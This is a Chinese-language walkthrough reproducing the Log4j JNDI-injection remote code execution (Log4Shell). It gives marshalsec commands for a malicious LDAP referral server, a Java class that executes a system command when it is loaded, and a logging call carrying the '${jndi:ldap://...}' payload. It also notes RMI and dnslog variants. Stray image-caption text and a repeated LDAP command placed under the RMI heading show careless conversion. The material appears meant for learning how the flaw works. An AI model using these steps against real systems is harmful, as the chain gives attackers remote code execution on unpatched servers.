Log4j rce代码原理（JNDI注入）

影响版本 Apache Log4j 2.x <= 2.15.0-rc1

复现

Ldap：目录访问协议

Rmi：远程通信协议

Java -cp是指定classpath

Marshalsec:反序列化利用工具

开启LDAP服务

1389 指LDAP服务的端口

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

开启RMI服务

1099 指RMI服务的端口

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

开启本地python server

图片包含 图表

描述已自动生成

开启LDAP服务

文本

描述已自动生成

开启ldap服务 通过访问ldap服务跳转去访问攻击者的恶意代码

要在class的目录下通过python -m SimpleHTTPServer（python2）启动server服务 才能访问到该恶意代码 不然会404

先编写恶意代码 弹出计算器

public class **BugFinder *{*** public BugFinder***() {* System**.*out*.println***(***"执行RCE"***)***;  
 **String** commands***[]*** = ***{***"open","/System/Applications/Calculator.app"***}***;  
 try ***{* Process** exec = **Runtime**.*getRuntime****()***.exec***(***commands***)***;  
 exec.waitFor***()***;  
 **System**.*out*.println***(***"完成"***)***;  
 ***}*** catch ***(*Exception** e***) {*** throw new RuntimeException***(***e***)***;  
 ***}  
  
 }*** public static void main***(*String*[]*** args***) {* BugFinder** bugFinder = new BugFinder***()***;  
 ***}  
}***

测试代码

import **org.apache.logging.log4j.LogManager**;  
import **org.apache.logging.log4j.Logger**;  
  
  
public class **LogTest *{*** public static final **Logger** *logger* = **LogManager**.*getLogger****()***;  
  
 public static void main***(*String*[]*** args***) {* System**.*setProperty****(***"com.sun.jndi.ldap.object.trustURLCodebase", "true"***)***;  
 *logger*.error***(***"${jndi:ldap://192.168.1.6:1389/BugFinder}"***)***;  
 ***}  
  
}***

这里的ldap地址是本地Ip:1389

1389是ldap默认的端口

通过访问ldap服务 然后跳转到本机python server的恶意代码

注意点：

（1）Ldap服务需要开启（使用marshasec去开启） 而去需要注意这里恶意代码的存放位置 否则会404

（2）python的server是在class文件底下去开启 否则会server里就没有恶意代码的文件 访问的时候就会出现404

图形用户界面, 日程表

中度可信度描述已自动生成

没有存放在某个包下

复现效果

图形用户界面

描述已自动生成

还可以通过构造rmi远程访问

或者使用dnslog curl url

漏洞源码：

Log4j默认支持ldap\rmi协议

Lookup接口直接将用户传来的数据解析执行